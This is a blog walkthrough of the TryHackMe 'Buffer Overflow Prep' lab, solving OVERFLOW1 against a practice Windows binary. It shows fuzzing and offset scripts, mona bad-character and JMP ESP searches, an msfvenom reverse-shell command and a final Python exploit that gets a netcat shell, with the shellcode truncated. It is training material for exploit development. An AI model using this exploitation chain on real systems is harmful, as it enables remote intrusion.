TryHackMe: Buffer Overflow Prep

Akshay_g21
7 min readJun 17, 2021

--

Practice stack-based buffer overflows!

Part 1
1. Fuzzing the service parameter and getting the crash byte
2. Generating the pattern
3. Finding the correct offset where the byte crashes with the help of (EIP)
Part 2
1. Finding the bad character with mona.py, and comparing bad character strings with mona.py
2. Finding return address (JMP ESP) with mona.py
Part 3
1. Setting break point to verify RETURN address is correct or not
2. Creating reverse shell with the help of msfvenom
3. Adding NOP’s to the script
4. Getting shell

OVERFLOW #1

Okay, right now we should run our Immunity Debugger as Administrator and open the oscp.exe.

The application will be loaded into the debugger in the “Paused” state. click Red play button on the upper bar within Immunity Debugger.

Ensure the exe is running by checking the status in the lower right of Immunity Debugger.

To check we can NC to target machine with port 1337.

nc IP Port

Everything looks so good so far. Let’s configure our mona beforehand.

Download mona.py and paset into C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands

!mona config -set workingfolder c:\mona\%p

Let’s try to run fuzzer.py (get from the room) and see the results. Just check whether the IP inside the script is correct and make sure to run again the oscp.exe in Immunity Debugger before running the script.

Fuzzer.py

#!/usr/bin/python
import os
import sys
import socket
host = “10.10.75.26”
port = 1337
buffer = “A” * 2500
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send(“OVERFLOW1 “ + buffer + ‘\r\n’)
s.close()

Now run the fuzzing script & check.

Our program is crashed in 2500 bytes see Access violation when executing [ 41414141 ]

so we need to find the exact address where the program is crashed

Now generate a pattern, based on the length of bytes to crash the server.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500

So copy the payload and put it into the payload variable in exploit.py and try to run it. The script should crash the oscp.exe server again.

Ensure oscp.exe is running within Immunity Debugger. Execute exploit.py against the target.

Again program is crashed Now see EIP is [ 6F43396E ]

Find Offset Value

# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2500 -q 6F43396E

offset value is 1978

Another Method to find Offset value using mona module

Try running the following mona command in immunity:

!mona findmsp -distance 2500

So look for the line said EIP contains normal pattern :SOMETHING (offset XXXX). So set our offset to the offset we found in the offset variable and set the retn variable to BBBB. The script should look like this.

Update Fuzz Script

#!/usr/bin/python
import os
import sys
import socket
host = “10.10.75.26”
port = 1337
buffer = “A” * 1978
retn = “B” * 4
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send(“OVERFLOW1 “ + buffer + retn + ‘\r\n’)
s.close()

Restart the program & Run again script

As we can see the EIP Register is Overwritten with BBBB or 42424242. So far everything went well.

Take note of the ESP address because we will be using the values in this position in future step

See EIP Is [ 42424242 ]

Find Badchars

Generate a bytearray using mona, and exclude the null byte (\x00) by default.

Use this mona commands.

!mona bytearray -b “\x00”

Now goto location & copy the badchars & paste it in our fuzz.py

This generated string has already removed the \x00 so we need to remove that from the .bin with mona.

Copy the new generated string into the payload variable in the exploit.py

C:/mona/oscp/bytearray

Update fuzz.py

#!/usr/bin/python
import os
import sys
import socket
host = “10.10.75.26”
port = 1337
buffer = “A” * 1978
badchars = (“\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20”
“\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40”
“\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60”
“\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80”
“\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0”
“\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0”
“\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0”
“\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”)
retn = “B” * 4
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send(“OVERFLOW1 “ + buffer + retn + badchars + ‘\r\n’)
s.close()

Run the script and take note of the address to which the ESP register points

ESP = 0191FA30

!mona compare -f c:\mona\oscp\bytearray.bin -a 0191FA30

So we found a list of possible bad chars 07 08 2e 2f a0 a1

Not all of these might be bad chars! Sometimes bad chars cause the next byte to get corrupted as well, or even affect the rest of the string. And after try and error, the sequence is like this.

We got the bad chars already so let’s generate a new bytearray in mona with updated bad chars we found.

At this point I start removing the bad characters one at a time. I removed one bad character at a time by repeating the following steps:

  • Remove character from byte array
  • Remove character from exploit payload
  • Start exe
  • Compare using mona

Start oscp.exe in immunity,

!mona bytearray -b “\x00\x07\x2e\xa0”

again copy bad chars from same file same location as last

& update our fuzz.py script.

check ESP Pointer value

ESP = 0187FA30

!mona compare -f c:\mona\oscp\bytearray.bin -a 0187FA30

After this! WE FIRE IT and run the comparison in MONA, we find the address unmodified now. BOOM so finally we got our BADCHARS

got error unmodified.

Let’s find the jump point using the mona command again:

!mona jmp -r esp -cpb “\x00\x07\x2e\xa0”

Any of the addresses from the results above may be used as the retn value in the exploit. Little endian = Reverse. Also add padding to allow the payload to unpack.
Note the address 625011AF
Update our retn variable with the new address and must be written backward (since the system is little-endian=Reverse).

retn = “\xaf\x11\x50\x62”

Generate the reverse shell payload using msfvenom.

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -b ‘\x00\x07\x2e\xa0’ EXITFUNC=thread -f python

Copy the payload into exploit.py and set the payload variable equal to buf.

Also, don’t forget to add some padding.
padding = “\x90” * 16

so the final payload is this for My Kali

#!/usr/bin/python
import os
import sys
import socket
host = “10.10.75.26”
port = 1337
buffer = “A” * 1978
#retn = “B” * 4
retn = “\xaf\x11\x50\x62”
padding = “\x90” * 16
shellcode = b””
shellcode =
(b”\xdb\xc2\xd9\x74\……………………………b”\x24\x72\x90").

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
s.send(“OVERFLOW1 “ + buffer + retn + padding + shellcode + ‘\r\n’)
s.close()

Start up a listener with netcat

Start the vulnerable application again. Execute exploit.py. Now looking back at netcat.

Successfully we got shell

Give it a try! Overflow #1 is done :)

--

--